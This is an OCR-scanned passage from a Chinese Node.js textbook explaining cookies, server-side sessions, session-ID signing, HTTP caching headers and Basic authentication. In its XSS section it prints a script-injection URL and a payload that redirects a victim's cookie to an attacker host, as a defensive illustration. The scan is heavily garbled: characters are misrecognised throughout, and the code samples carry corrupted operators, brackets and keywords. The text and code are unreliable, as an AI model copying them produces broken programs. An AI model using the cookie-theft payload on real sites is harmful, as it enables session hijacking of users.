进行 修改 , 浏览 器 将 Cookie 通 过 document.cookie 暴 起 给 了 JavaScript。 前端 在 修改 Cookie 之 后 , 后 
续 的 网 络 请 求 中 就 会 携带 上 修改 过 后 的 值 。 

日 前 ， 广 告 和 在 线 统 计 领 域 是 最 为 依赖 Cookie 的 ， 通 过 磐 入 第 三 方 的 广告 或 者 统计 脚本 ， 将 
Cookie 和 当前 页 面 绑 定 ， 这 样 就 可 以 标识 用 户 ， 得 到 用 户 的 浏览 行为 ， 广告 疝 就 可 以 定 问 投放 广 
告 了 。 尽 管 这 样 的 行为 看 起 来 很 可 怕 , 但 是 从 Cookie 的 原理 来 说 ， 它 只 能 做 到 标识 ， 而 不 能 做 任何 
具有 破坏 性 的 事情 。 如 有 果 依 然 担 心目 己 站 点 的 用 户 被 记录 下 行为 ， 那 就 不 要 挂 任何 第 三 方 的 脚本 。 


8.1.5 Session 


通过 Cookie， 浏 览 硕 和 服务 需 可 以 实现 状态 的 记录 。 但 是 Cookie 并 非 是 完美 的 ， 前 文 提 及 的 
体积 过 大 就 是 一 个 显著 的 问题 ， 最 为 严重 的 问题 是 Cookie 可 以 在 前 后 端 进 行 修改 ， 因 此 数据 就 极 
容易 被 敌 改 和 伪造 。 如 果 服 务 硕 端 有 部 分 逻辑 是 根据 Cookie 中 的 isVIP 字 段 进行 判断 ， 那 么 一 个 
普通 用 户 通 过 修改 Cookie 就 可 以 轻松 享受 到 VIP 服务 了 。 绽 上 所 述 ，Cookie 对 于 敏感 数据 的 保护 
是 无 效 的 。 

为 了 解决 Cookie 敏 感 数据 的 问题 ，Session 应 运 而 生 。Session 的 数据 只 保留 在 服务 需 端 ， 客 户 
端 无 法 修改 ， 这 样 数据 的 安全 性 得 到 一 定 的 保障 ， 数 据 也 无 须 在 协议 中 每 次 都 被 传递 。 

虽然 在 服务 需 端 存储 数据 十 分 方便 ， 但 是 如 何 将 每 个 客户 和 服务 关中 的 数据 一 一 对 应 起 来 ， 
这 里 有 和 见 的 两 种 实现 方式 。 

@ 第 一 种 : 基于 Cookie 来 实现 用 户 和 数据 的 映射 

虽然 将 所 有 数据 都 放 在 Cookie 中 不 可 取 ， 但 是 将 口令 放 在 Cookie 中 还 是 可 以 的 。 因 为 口令 一 旦 
被 黎 改 ， 台 丢 失 了 映射 关系 ， 也 无 法 修改 服务 硕 端 存在 的 数据 了 。 并 且 Session 的 有 效 期 通 稼 较 短 ， 
普遍 的 设置 是 20 分 钟 ， 如 果 在 20 分 钟 内 客户 闪 和 服务 融 端 没有 交互 产生 ， 服 务 融 端 就 将 数据 删除 。 
由 于 数据 过 期 时 间 较 短 , 且 在 服务 需 端 存储 数据 , 因此 安全 性 相对 较 高 。 那 么 口令 是 如 何 产 生 的 呢 ? 
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一 旦 服务 希 端 司 用 了 Session， 它 将 约定 一 个 键 值 作为 Session 的 口令 ， 这 个 全 可 以 随意 约定 ， 
比如 Connect 默 认 采 用 connect uid，Tomcat 会 采用 jsessionid 等 。 一 旦 服务 器 检查 到 用 户 请 求 
Cookie 中 没有 携 市 该 值 , 它 就 会 为 之 生成 一 个 值 , 这 个 值 是 唯一 旦 不 重复 的 值 , 并 设 定 超时 时 间 。 
以 下 为 生成 session 的 代码 : 


var sessions = {}; 
var key = 'session id'; 
var EXPIRES = 20 * 60 * 1000; 


var generate = function () { 
var session = {}; 
session.id = (new Date()).getTime() + Math.random(); 
session.cookie = { 
expire: (new Date()).getTime() + EXPIRES 
}; 
sessions[session.id| = session; 
return session; 


}; 
每 个 请 求 到 来 时 ， 检 查 Cookie 中 的 口令 与 服务 需 端 的 数据 ， 如 果 过 期 ， 就 重新 生成 ， 如 下 
所 示 : 


function (req, res) { 
var id = req.cookies[key|]; 
if (lid) { 
req.session = generate(); 
} else { 
Var session = sessions| id ] ; 
if (session) { 
if (session.cookie.expire > (new Date()).getTime()) { 
// 更 新 超时 时 间 
session.cookie.expire = (new Date()).getTime() + EXPIRES; 
req.session = session; 
} else { 
// 超时 了 ， 删 除 旧 的 数据 ， 并 重新 生成 
delete sessions|id|]; 
req.session = generate(); 
} 
} else { 
// 如 果 session 过 期 或 口令 不 对 ,重新 生成 session 
req.session = generate(); 


} 


handle(req, res); 


} 

当然 仅仅 重新 生成 Session 还 不 足以 完成 整个 流程 , 还 需要 在 啊 应 给 客户 病 时 设置 新 的 值 ， 以 
便 下 次 请 求 时 能 够 对 应 服务 融 交 的 数据 。 这 里 我 们 hack 啊 应 对 乏 的 writehead() 方 法 , 在 它 的 内 部 
注入 设置 Cookie 的 逻辑 ， 如 下 所 示 : 


var writeHead = res.writeHead; 
res.writeHead = function () { 
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var cookies = res.getHeader('Set-Cookie'); 
var session = serialize('Set-Cookie', req.session.id); 
cookies = Array.isArray(cookies) ? cookies.concat(session) : [cookies, session]; 
res.setHeader('Set-Cookie', cookies); 
return writeHead.apply(this, arguments); 
}; 
至 此 ，session 在 前 后 并 进 行 对 应 的 过 程 就 完成 了 。 这 样 的 业务 人 逻辑 可 以 判断 和 设置 session， 


以 此 来 维护 用 户 与 服务 带 剖 的 关系 ， 如 下 所 示 : 


var handle = function (req, res) { 
if (!req.session.isVisit) { 
res.session.isVisit = true; 
res .writeHead(200); 
res.end(' 欢 迎 第 一 次 来 到 动物 园 ');) 
} else { 
res .writeHead(200); 
res.end(' 动 物 园 再 次 欢迎 你 '); 
} 
}; 


这 样 在 session 中 保存 的 数据 比 下 接 在 Cookie 中 保存 数据 要 安全 得 多 。 这 种 实现 方案 依赖 
Cookie 实 现 ， 而 且 也 是 目前 大 多 数 Web 应 用 的 方案 。 如 果 客 户 端 禁止 使 用 Cookie， 这 个 世界 上 大 
网 站 将 无 法 实现 登录 等 操作 。 

第 二 种 : 通过 查询 字符 串 来 实现 浏览 器 端 和 服务 器 端 数据 的 对 应 
Eee 青 求 的 查询 字符 串 ， 如 果 没 有 值 ， 会 完 生成 新 的 带 值 的 URL， 如 下 所 示 : 


var getURL = function ( url, key, value) { 
var obj = url.parse( url, true); 
obj.query[key] = value; 
return url.format(obj); 


}; 
然后 形成 跳 转 ， 让 客户 端 重 新 发 起 请 求 ， 如 下 所 示 : 


function (req, res) { 
var redirect = function (url) { 
res.setHeader('Location' , ur]l); 
res.writeHead(302); 
res.end(); 


3 


var id = req.query[key|; 
if (lid) { 
var session = generate(); 
redirect(getURL(req.url, key, session.id)); 
} else { 
var session = sessions|id|; 
if (session) { 
if (session.cookie.expire > (new Date()).getTime()) { 
// 更 新 超时 时 间 
session.cookie.expire = (new Date()).getTime() + EXPIRES; 
req.session = session; 
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handle(req, res); 
} else { 
// 超时 了 ， 删 除 旧 的 数据 ， 并 重新 生成 
delete sessions| id |] ; 
var session = generate(); 
redirect(getURL(req.url, key, session.id)); 


} 
} else { 
// 如 果 session 过 期 或 口令 不 对 ， 重新 生成 session 
var session = generate(); 
redirect(getURL(req.url, key, session.id)); 
} 
} 
} 
用 户 访 问 http://localhost/pathname 时 ， 如 果 服 务 右 端 发 现 查 询 字 符 串 中 不 带 session_id 参 数 ， 
就 会 将 用 户 跳 转 到 http://localhost/pathname?session id=12344567 这 样 一 个 类 似 的 地 址 。 如 果 浏 览 
器 收 到 302 状 态 码 和 Location 报 头 ， 就 会 重新 发 起 新 的 请 求 ， 如 下 所 示 : 


< HTTP/1.1 302 Moved Temporarily 
< Location: /pathname?session id=12344567 


这 样 ， 新 的 请 求 到 来 时 就 能 通过 Session 的 检查 ， 除 非 内 存 中 的 数据 过 期 。 

有 的 服务 需 在 客户 端 禁 用 Cookie 时 ， 会 采用 这 种 方案 实现 退化 。 通 过 这 种 方案 ,无须 在 啊 应 
时 设置 Cookie。 但 是 这 种 方案 市 来 的 风险 远大 于 基于 Cookie 实 现 的 风险 ， 因 为 只 要 将 地 址 栏 中 的 
地 址 发 给 另外 一 个 人 , 那么 他 就 拥有 跟 你 相同 的 吴 份 。Cookie 的 方案 在 换 了 浏览 需 或 者 换 了 电脑 
之 后 无 法 生效 ， 相 对 较为 安全 。 

还 有 一 种 比较 有 趣 的 处 理 Session 的 方式 是 利用 HTTP 请 求 头 中 的 ETag， 同 样 对 于 更 换 浏 览 3 
和 电脑 后 也 是 无 效 的 ， 具 体 的 细 市 这 里 就 不 展开 了 ， 感 兴趣 的 朋友 可 以 到 网 上 查阅 相关 资料 。 

1. Session 与 内 存 

在 上 面 的 示例 代码 中 ,我们 都 将 Session 数 据 和 下 接 存在 变量 sessions 中 ， 它 位 于 内 存 中 。 然 而 
在 第 5 章 的 内 存 控 制 部 分 ， 我 们 分 析 了 为 什么 Node 会 存在 内 存 限制 ， 这 里 将 数据 存放 在 内 存 中 将 
会 市 来 极 大 的 隐患 ， 如 采用 户 增 多 , 我们 很 可 能 就 接触 到 了 内 存 限 制 的 上 限 , 并 且 内 存 中 的 数据 
量 加 大 ， 必 然 会 引起 垃圾 回收 的 频 崇 扫 撒 ， 引 起 性 能 问题 。 

男 一 个 问题 则 是 我 们 可 能 为 了 利用 多 核 CPU 而 启动 多 个 进程 ， 这 个 细 市 在 第 9 半 中 有 详细 描 
述 。 用 户 请 求 的 连接 将 可 能 随意 分 配 到 各 个 进程 中 , Node 的 进程 与 进程 之 间 是 不 能 直接 共享 内 存 
的 ， 用 户 的 Session 可 能 会 引起 错乱 。 

为 了 解决 性 能 问题 和 Session 数 据 无 法 器 进程 共 至 的 问题 , 第 用 的 方案 是 将 Session 集 中 化 , 将 
原本 可 能 分 散在 多 个 进程 里 的 数据 ， 统 一 转移 到 集中 的 数据 存储 中 。 目 前 常用 的 工具 是 Redis、 
Memcached 等 ,通过 这 些 高 效 的 绥 存 ，Node 进 程 无 须 在 内 部 维护 数据 对 象 , 垃圾 回收 问题 和 内 存 
限制 问题 都 可 以 迎 娘 而 解 , 并 且 这 些 高 速 缓存 设计 的 缓存 过 期 策略 更 合理 更 高 效 , 比 在 Node 中 自 
行 设计 绥 存 策略 更 好 。 

采用 第 三 方 缓存 来 存储 Session 引 起 的 一 个 问题 是 会 引起 网 络 访问 。 理 论 上 来 说 访问 网 络 中 的 
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数据 要 比 访 问 本 地 磁盘 中 的 数据 速度 要 慢 ， 因 为 涉及 到 握手 、 传 输 以 及 网 络 终端 目 身 的 磁盘 IO 
等 ， 尽 管 如 此 但 依然 会 采用 这 些 高 速 绥 存 的 理由 有 以 下 几 条 : 

口 Node 与 缓存 服务 保持 长 连接 ， 而 非 频 索 的 短 连接 ， 握 手 导致 的 延迟 只 影 响 初始化。 

口 高 速 缓存 直接 在 内 存 中 进行 数据 存储 和 访问 。 

口 缓存 服务 通 铝 与 Node 进 程 运行 在 相同 的 机 带 上 或 者 相同 的 机 房 里 ， 了 网 络 速度 受到 的 影响 

较 小 。 

尽管 采用 专门 的 缓存 服务 会 比 直 接 在 内 存 中 访问 慢 , 但 其 影响 小 之 又 小 , 这 来 的 好 处 却 远 远 
大 于 直接 在 Node 中 保存 数据 。 

为 此 , 一 旦 Session 需 要 异步 的 方式 获取 , 代码 就 需要 上 略 作 调整 , 变 成 异步 的 方式 , 如 下 所 示 : 


function (req, res) { 
var id = req.cookies[key|; 
if (lid) { 
req.session = generate(); 
handle(req, res); 
} else { 
store.get(id, function (err, session) { 
if (session) { 
if (session.cookie.expire > (new Date()).getTime()) { 
// 更 新 超时 时 间 
session.cookie.expire = (new Date()).getTime() + EXPIRES ; 
req.session = session; 
} else { 
// 超时 了 ， 删 除 旧 的 数据 ， 并 重新 生成 
delete sessions|id]; 
req.session = generate(); 
} 
} else { 
// 如 果 session 过 期 或 口令 不 对 ,重新 生成 session 
req.session = generate(); 
} 
handle(req, res); 
}); 
} 
} 


在 啊 应 时 ， 将 新 的 session 保 存 回 缓 存 中 ， 如 下 所 示 : 


var writeHead = res.writeHead; 
res.writeHead = function () { 
var cookies = res.getHeader('Set-Cookie'); 
var session = serialize('Set-Cookie', req.session.id); 
cookies = Array.isArray(cookies) ? cookies.concat(session) : [cookies, session]; 
res.setHeader('Set-Cookie', cookies); 
// 保存 回 缓存 
store.save(req.session); 
return writeHead.apply(this, arguments); 


月 
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2. Session 与 安全 

从 前 文 可 以 知道 ， 尽 管 我 们 的 数据 都 放置 在 后 端 了 ， 使 得 它 能 保障 安全 ， 但 是 无 论 通 过 
Cookie， 还 是 查询 字符 串 的 实现 方式 ，Session 的 口令 依然 保存 在 客户 端 ， 这 里 会 存在 口令 被 盗用 
的 情况 。 如 果 Web 应 用 的 用 户 十 分 多 ， 目 行 设计 的 随机 算法 的 一 些 口 令 值 就 有 理论 机 会 命中 有 效 
的 口令 值 。 一 旦 口令 被 伪造 ， 服 务 需 端的 数据 也 可 能 间接 被 利用 。 这 里 提 到 的 Session 的 安全 ， 就 
主要 指 如 何 让 这 个 口令 更 加 安全 。 

有 一 种 做 法 是 将 这 个 口令 通过 私 钥 加 蜜 进行 签名 , 使 得 伪造 的 成 本 较 高 。 客 户 端 尽 管 可 以 伪 
造 口 令 值 , 但 是 由 于 不 知道 私 钥 值 ， 签 名 信息 很 难 伪造 。 如 此 ,我 们 只 要 在 啊 应 时 将 口令 和 签名 
进行 对 比 ， 如 采 签 名 非法 ， 我 们 将 服务 硕 问 的 数据 立即 过 期 即 可 ， 如 下 所 示 : 


// 将 值 通过 私 钥 签名 ， 由 .分 割 原 值 和 签名 
var sign = function (val, secret) { 


return val + '.' + crypto 
.CcreateHmac('sha256' ,secret) 
.Update(val ) 


.digest('base64') 
.replace(/\=+$/，"'); 
}; 


在 响应 时 ， 设 置 session 值 到 Cookie 中 或 者 跳 转 URL 中 ， 如 下 所 示 : 


var val = sign(req.sessionID, secret); 
res.setHeader('Set-Cookie', cookie.serialize(key, val)); 


接收 请 求 时 ， 检 查 签 名 ， 如 下 所 示 : 


// 取出 口令 部 分 进行 签名 ， 对 比 用 户 提交 的 值 

var unsign = function (val, secret) { 
var str = val.slice(0, val.lastIndexOf('.')); 
return sign(str, secret) == val ? str : false; 


}; 

这 样 一 来 ， 即 使 攻击 者 知道 口令 中 .号 前 的 值 是 服务 融 端 Session 的 ID 值 ， 只 要 不 知道 secTet 
私 钥 的 值 ， 就 无 法 伪造 签名 信息 ， 以 此 实现 对 Session 的 保护 。 该 方法 被 Connect 中 间 件 框架 所 使 
用 ,保护 好 私 钥 ， 就 是 在 保障 日 己 Web 应 用 的 安全 。 

当然 , 将 口令 进行 签名 是 一 个 很 好 的 解决 方案 , 但 是 如 采 攻 击 者 通过 某 种 方式 获取 了 一 个 真 
实 的 口令 和 签名 , 他 就 能 实现 号 份 的 伪 闻 。 一 种 方案 是 将 客户 端的 某 些 独 有 信息 与 口令 作为 原 住 ， 
然后 签名 ， 这 样 攻 击 者 一 旦 不 在 原始 的 客户 端 上 进行 访问 ， 束 会 导致 签名 失败 。 这 些 独 有 信息 包 
括 用 户 IP 和 用 户 代 理 〈User Agent )。 

但 是 原始 用 户 与 攻击 者 之 间 也 存在 上 述 信息 相同 的 可 能 性 ， 如 局 域 网 出 口 耻 相同 ,相同 的 客 
户 端 信息 等 ， 不 过 纳入 这 些 考虑 能 够 提高 安全 性 。 通 常 而 言 ， 将 口令 存在 Cookie 中 不 容易 被 他 人 
获取 ， 但 是 一 些 别 的 漏洞 可 能 导致 这 个 口令 被 泄漏 ， 典 型 的 有 XSS 漏 洞 ， 下 面 简单 介绍 一 下 如 何 
通过 XSS 拿 到 用 户 的 口令 ， 实 现 伪造 。 

@ XSS 漏 洞 

XSS 的 全 称 是 器 站 脚本 攻击 ( Cross Site Scripting, 通常 和 何 称 为 XSS ), 通常 都 是 由 网 站 开发 者 
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决定 哪些 脚本 可 以 执行 在 浏览 瘟 问 ,不 过 XSS 源 洞 会 让 别 的 脚本 执行 。 它 的 主要 形成 原因 多 数 是 
用 户 的 输入 没有 被 转 义 ， 而 被 百 接 执行 。 

下 面 是 某 个 网 站 的 前 端 脚本 ， 它 会 将 URL hash 中 的 值 设 置 到 页 面 中 ,以 实现 某 种 逻辑 ， 如 下 
所 不 : 

$('#box' ).html(location.hash.replace('#', '')); 

攻击 者 在 发 现 这 里 的 漏洞 后 ， 构 造 了 这 样 的 URL : 

http://a.com/pathname#«script STC= http://b.com/c.]jsS ></ScTIpty> 

为 了 不 证 党 害 者 百 接 发 现 这 段 URL 中 的 猫 用, 它 可 能 会 通过 URL 压 缩 成 一 个 短 网 址 ,如 下 所 未 : 


http://t.cn/fasdlf] 
// 或 者 再 次 压缩 
http://url.cn/fasdlfb 


然后 将 最 终 的 短 网 址 发 给 茶 个 登录 的 在 线 用 户 。 这 样 一 来 ， 这 段 hash 中 的 脚本 将 会 在 这 个 用 
户 的 浏览 硕 中 执行 ， 而 这 段 脚 本 中 的 内 容 如 下 所 未 : 

location.href = "http://c.com/?" + document.cookie; 

这 段 代 码 将 该 用 户 的 Cookie 提 交 给 ccom 站 点 ， 这 个 站 点 就 是 攻击 者 的 服务 玉 ， 他 也 就 能 
拿 到 该 用 户 的 Session 口 令 。 然后 他 在 客户 问 中 用 这 个 口令 伪造 Cookie， 从 而 实现 了 伪 淡 用 户 的 续 
份 。 如 果 该 用 户 是 网 站 管理 员 ， 就 可 能 造成 极 大 的 危害 。 

XSS 造 成 的 危害 十 远 不 止 这 些 ,， 这 里 不 再 过 多 介绍 。 在 这 个 案例 中 ， 如 果 口 令 中 有 用 户 的 客 
户 剖 信息 的 签名 ， 即 使 口令 被 泄漏 ， 除 非 攻 击 者 与 用 户 客户 问 完 全 相同 ， 耕 则 不 能 实现 伪造 。 


8.1.6 ”缓存 


我 们 知道 软件 的 架构 经 历 过 一 次 C/S 模 式 到 B/S 模式 的 演变 ， 在 HTTP 之 上 构建 的 应 用 ， 其 客 
户 端 除了 比 普 通 果 面 应 用 具备 更 轻 量 的 升级 和 部 署 等 特性 外 ， 在 跨 平 台 、 跨 浏览 右 、 跨 设备 上 也 
具备 独特 优势 。 传 统 客 户 端 在 安装 后 的 应 用 过 程 中 仅仅 需要 传输 数据 ，Web 应 用 还 需要 传输 构成 
界面 的 组 件 (HTML 、JavaScript、CSS 文 件 等 )。 这 部 分 内 容 在 大 多 数 场景 下 并 不 经 常 变更 ， 却 
需要 在 每 次 的 应 用 中 癌 客 户 端 传递 ， 如 果 不 进行 处 理 , 那么 它 将 造成 不 必要 的 带宽 浪费 。 如 果 网 
络 速 度 较 差 ， 就 需要 花费 更 多 时 间 来 打开 页 面 ， 对 于 用 户 的 体验 将 会 造成 一 定 影响 。 因 此 节省 不 
必要 的 传输 ， 对 用 户 和 对 服务 提供 者 来 说 都 有 好 处 。 

为 了 提高 性 能 ，YSlow 中 也 提 到 几 条 关于 缓存 的 规则 。 

口 添加 Expires 或 Cache-Control 到 报 文 头 中 。 

口 配置 ETags。 

口 让 Ajax 可 绥 存 。 

这 里 我 们 将 展开 这 几 条 规则 的 来 源 。 如 何 让 浏览 器 缓存 我 们 的 静态 资源 , 这 也 是 一 个 需要 由 
服务 器 与 浏览 器 共同 协作 完成 的 事情 。RFC 2616 规 范 对 此 有 一 定 的 描述 ， 只 有 遵循 约定 ， 整 个 绥 
存 机 制 才 能 有 效 建立 。 通 常 来 说 ，P0ST、DELETE 、PUT 这 类 带 行为 性 的 请 求 操 作 一 般 不 做 任何 绥 
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存 ， 大 多 数 缓 存 只 应 用 在 GET 请 求 中 。 使 用 绥 存 的 流程 如 图 8-1 所 示 。 


图 8-1 ”使 用 缓存 的 流程 示意 图 
简单 来 讲 ， 本 地 没有 文件 时 , 浏览 需 必 然 会 请 求 服务 需 端 的 内 容 ,， 并 将 这 部 分 内 容 放置 在 本 


地 的 某 个 缓存 目录 中 ,在 第 二 次 请 求 时 , 它 将 对 本 地 文件 进行 检查 ， 如 果 不 能 确定 这 份 本 地 文件 
是 否 可 以 直接 使 用 ， 它 将 会 发 起 一 次 条 件 请 求 。 所 谓 条 件 请 求 ， 就 是 在 普通 的 GET 请 求 报 文中 ， 
附带 If-Modified-Since 字 段 ， 如 下 所 示 : 
If-Modified-Since: Sun, 03 Feb 2013 06:01:12 GMT 
它 将 询问 服务 器 端 是 否 有 更 新 的 版 本 ,本 地 文件 的 最 后 修改 时 间 。 如果 服 务 器 端 没 有 新 的 版 
本 ， 只 需 响 应 一 个 304 状 态 码 ， 客 户 端 就 使 用 本 地 版 本 。 如 果 服务 器 端 有 新 的 版 本 ， 就 将 新 的 内 Eo 
容 发 送 给 客户 端 ， 客 户 端 放弃 本 地 版 本 。 代 码 如 下 所 示 ， 


var handle = function (req, res) { 
fs.stat(filename, function (err, stat) { 
var lastModified = stat.mtime.toUTCString(); 
if (lastModified === req.headers['if-modified-since']) { 
res.writeHead(304, "Not Modified"); 
res.end(); 
} else { 
fs.readFile(filename, function(err, file) { 
var lastModified = stat.mtime.toUTCString(); 
res.setHeader("Last-Modified", lastModified); 
res.writeHead(200, "Ok"); 
res.end(file); 
}); 
} 
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}); 
je 


这 里 的 条 件 请 求 采 用 时 间 戳 的 方式 实现 ， 但 是 时 间 惟 有 一 些 缺 陷 存 在 。 

口 文件 的 时 间 戳 改动 但 内 容 并 不 一 定 改 动 。 

口 时 间 戳 只 能 精确 到 秒 级 别 ， 更 新 频 索 的 内 容 将 无 法 生殖 。 

为 此 HTTP1.1 中 引入 了 ETag 来 解决 这 个 问题 。ETag 的 全 称 是 Entity Tag, 由 服务 器 端 生成 ,， 服 
务 需 端 可 以 决定 它 的 生成 规则 。 如 采 根 据 文件 内 容 生成 散 列 值 , 那么 条 件 请 求 将 不 会 受到 时 间 玲 
改动 造成 的 市 冤 浪 费 。 下 面 是 根据 内 容 生 成 散 列 值 的 方法 : 


var getHash = function (str) { 
var shasum = crypto.createHash('sha1'); 
return shasum.update(str).digest('base64'); 
}; 


与 Tf-Modified-Since/Last-Modified 不 同 的 是 ，ETag 的 请 求 和 啊 应 是 If-None-Match/ETag， 
如 下 所 示 : 


var handle = function (req, res) { 
fs.readFile(filename, function(err, file) { 

var hash = getHash(file); 

var noneMatch = Teq.headers[ ' if-none-match ]; 

if (hash === noneMatch) { 
res.writeHead(304, "Not Modified"); 
res.end(); 

} else { 
res.setHeader("ETag", hash); 
res.writeHead(200, "Ok"); 
res.end(file); 


}); 


浏览 器 在 收 到 ETag: "83-1359871272000" 这 样 的 响应 后 ， 在 下 次 的 请 求 中 ， 会 将 其 放置 在 请 
求 头 中 : If-None-Match:"83-1359871272000"。 

尽管 条 件 请 求 可 以 在 文件 内 容 没有 修改 的 情况 下 节省 带宽 ， 但 是 它 依然 会 发 起 一 个 HTTP 请 
求 ,， 使 得 客户 端 依然 会 花 一 定时 间 来 等 待 啊 应 。 可 见 最 好 的 方案 就 是 连 条 件 请 求 都 不 用 发 起 。 那 
么 如 何 让 浏览 锅 知晓 是 否 能 直接 使 用 本 地 版 本 呢 ? 答案 就 是 服务 需 端 在 响应 内 容 时 , 让 浏览 右 明 
确 地 将 内 容 绥 存 起 来 。 如 同 YSlow 规 则 里 提 到 的 ， 在 啊 应 里 设置 Expires 或 Cache-Control 头 ， 训 
览 器 将 根据 该 值 进行 缓存 。 那 么 这 两 个 值 有 何 区 别 呢 ? 

HTTP1.0 时 ， 在 服务 融 端 设置 Expires 可 以 告知 浏览 希 要 缓存 文 件 内 容 ， 如 下 代码 所 示 : 


var handle = function (req, res) { 
fs.readFile(filename, function(err, file) { 
var expires = new Date(); 
expires.setTime(expires.getTime() + 10 * 365 * 24 * 60 * 60 * 1000); 
res.setHeader("Expires", expires.toUTCString()); 
res.writeHead(200, "Ok"); 
res.end(file); 
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上 
J 


Expires 是 一 个 GMT 格 式 的 时 间 字 符 串 。 浏 览 硕 在 接 到 这 个 过 期 值 后 ， 只 要 本 地 还 存在 这 个 
缓存 文件 ， 在 到 期 时 间 之 前 它 都 不 会 再 发 起 请 求 。YUI3 的 CDN 实 践 是 缓存 文件 在 10 年 后 过 期 。 
但 是 Expires 的 缺陷 在 于 浏览 需 与 服务 器 之 间 的 时 间 可 能 不 一 致 ， 这 可 能 会 带 来 一 些 问题 ， 比 如 
文件 提前 过 期 ， 或 者 到 期 后 并 没有 被 删除 。 在 这 种 情况 下 ，Cache-Control 以 更 丰富 的 形式 ， 实 
现 相同 的 功能 ， 如 下 所 示 : 


var handle = function (req, res) { 

fs.readFile(filename, function(err, file) { 
res.setHeader("Cache-Control", "max-age=" + 10 * 365 * 24 * 60 * 60 * 1000); 
res.writeHead(200,， "Ok"); 
res.end(file); 

}); 

}; 


上 面 的 代码 为 Cache-Control 设 置 了 -max-age 值 , 它 比 Expires 优 秀 的 地 方 在 于 , Cache-Control 
能 够 避 倪 浏览 妖 妆 与 服务 右 问 时 间 不 同步 币 来 的 不 一 致 性 问题 , 只 要 进行 类 似 倒 计时 的 方式 计算 
过 期 时 间 即 可 。 除 此 之 外 ，Cache-Control 的 值 还 能 设置 public、private、no-cache、no-store 
等 能 够 更 精细 地 控制 缓存 的 选项 。 

由 于 在 HITP1.0 时 还 不 文 持 max-age， 如 今 的 服务 硕 端 在 模块 的 文 持 下 多 半 同 时 对 Expires 和 
Cache-Control 进 行文 持 。 在 浏览 郑 中 如 果 两 个 值 同 时 存在 ， 且 被 同时 文 持 时 ，max-age 会 覆盖 
Expires。 

@ 清除 缓存 

虽然 我 们 知晓 了 如 何 设置 缓存 ， 以 达到 节省 网 络 市 宽 的 目的 ,但 是 绥 存 一 旦 设 定 ， 当 服务 天 
问 意 外 更 新 内 容 时 , 却 无 法 通知 客户 端 更 新 。 这 使 得 我 们 在 使 用 缓存 时 也 要 为 其 设 定 版 本 号 ,所 
秆 浏览 硕 是 根据 URL 进 行 缓存 ， 那 么 一 旦 内 容 有 所 更 新 时 ， 我 们 就 让 浏览 硕 发 起 新 的 URL 请 求 ， 
使 得 新 内 容 能 够 被 客户 端 更 新 。 一 般 的 更 新 机 制 有 如 下 两 种 。 

口 每 次 发 布 ， 路 径 中 跟随 Web 应 用 的 版 本 号 : http://url.com/?v=20130501。 

口 每 次 发 布 ， 路 径 中 跟随 该 文件 内 容 的 hash 值 : http://url.com/?hash=afadfadwe。 

大 体 来 说 ， 根 据 文 件 内 容 的 hash 值 进行 缓存 淘汰 会 更 加 高 效 ， 因 为 文件 内 容 不 一 定 随 着 Web 
应 用 的 版 本 而 更 新 ， 而 内 容 没 有 更 新 时 ， 版 本 号 的 改动 导致 的 更 新 坚 无 意义 ， 因 此 以 文件 内 容 形 
成 的 hash 信 更 精准 。 


8.1.7 Basic 认证 


Basic 认 证 是 当 客 户 并 与 服务 磊 端 进行 请 求 时 ， 人 允许 通 过 用 户 名 和 密码 实现 的 一 种 里 份 认证 
方式 。 这 里 位 要 介绍 它 的 原理 和 它 在 服务 带 闯 通过 Node 处 理 的 流程 。 

如 采 一 个 页 面 需要 Basic 认 证 ， 它 会 检查 请 求 报 文 头 中 的 Authorization 字 段 的 内 容 ， 该 字段 
的 值 由 认证 方式 和 加 密 值 构成 ， 如 下 所 示 : 
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$ curl -v "http://user:pass@www.baidu.com/" 

> GET / HTTP/1.1 

> Authorization: Basic dXNlcjpwYXNz 

> User-Agent: curl/7.24.0 (x86 64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5 

> Host: www.baidu.com 

> Accept: */* 

在 Basic 认 证 中 ， 它 会 将 用 户 和 密码 部 分 组 合 : username +":" + password。 然 后 进行 Base64 


编码 ， 如 下 所 示 : 


var encode = function (username, password) { 
return new Buffer(username + ':' + password).toString('base64'); 


1 
如 果 用 户 首 次 访问 该 网 页 ，URL 地 址 中 也 没 携 这 认证 内 容 ， 那 么 浏览 磊 会 啊 应 一 个 401 未 授 
权 的 状态 码 ， 如 下 所 示 : 


function (req, res) { 


var auth = req.headers['authorization'] || "'; 
var parts = auth.split(' '); 

var method = parts[0] || ''; // Basic 

var encoded = parts[1] || ''; // dXNlcjpwYXNz 


var decoded = new Buffer(encoded, 'base64').toString('utf-8').split(":"); 
var user = decoded[0|; // user 
var pass = decoded[1|]; // pass 
if (lcheckUser(user, pass)) { 
res.setHeader('WWW-Authenticate' , "Basic realm="Secure Area"'); 
res.writeHead(401); 
res.end(); 
} else { 
handle(req, res); 
} 
} 


在 上 面 的 代码 中 ,响应 头 中 的 NNWN-Authenticate 字 段 告 知 浏 览 器 采用 什么 样 的 认证 和 加 密 
方式 。 一 般 而 言 ， 未 认证 的 情况 下 ， 浏 览 融 会 弹出 对 话 框 进行 交互 式 提交 认证 信息 ， 如 图 8-2 
所 示 。 


服务 斑 127. 昌 .各 , 工 L337 杜 求 用 户 贺 用 户 才 和 遇 本 服务 
如 提示 ' Sectre Breas 


闭 卢 才 : 用 


贸 丁 : 


图 8-2 ”浏览 器 弹出 的 交互 式 提 交 认 证 信息 的 对 话 框 


当 认 证 通过 ， 服 务 需 问 啊 应 200 状 态 码 之 后 ， 训 览 亏 会 保存 用 户 名 和 密码 口令 ， 在 后 续 的 请 
求 中 都 携带 上 Authorization 信 息 。 
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Basic 认 证 有 太 多 的 缺点 , 它 昌 然 经 过 Base64 加 密 后 在 网 络 中 传送 , 但 是 这 近乎 于 明文 ,十 分 
危险 ,一 般 只 有 在 HTTPS 的 情况 下 才 会 使 用 。 不 过 Basic 认 证 的 支持 范围 十 分 广泛 ， 儿 乎 所 有 的 
浏览 种 痢 文 持 它 。 

为 了 改进 Basic 认 证 ，RFC 2069 规 范 提 出 了 摘要 访问 认证 ， 它 加 入 了 服务 融 奖 随机 数 来 保护 
认证 过 程 ， 在 此 不 做 深入 的 解释 。 


8.2 效 据 上 传 


上 上 述 的 内 容 基本 都 集中 在 HITP 请 求 报 文 头 中 , 适用 于 GET 请 求 和 大 多 数 其 他 请 求 。 头 部 报 文中 
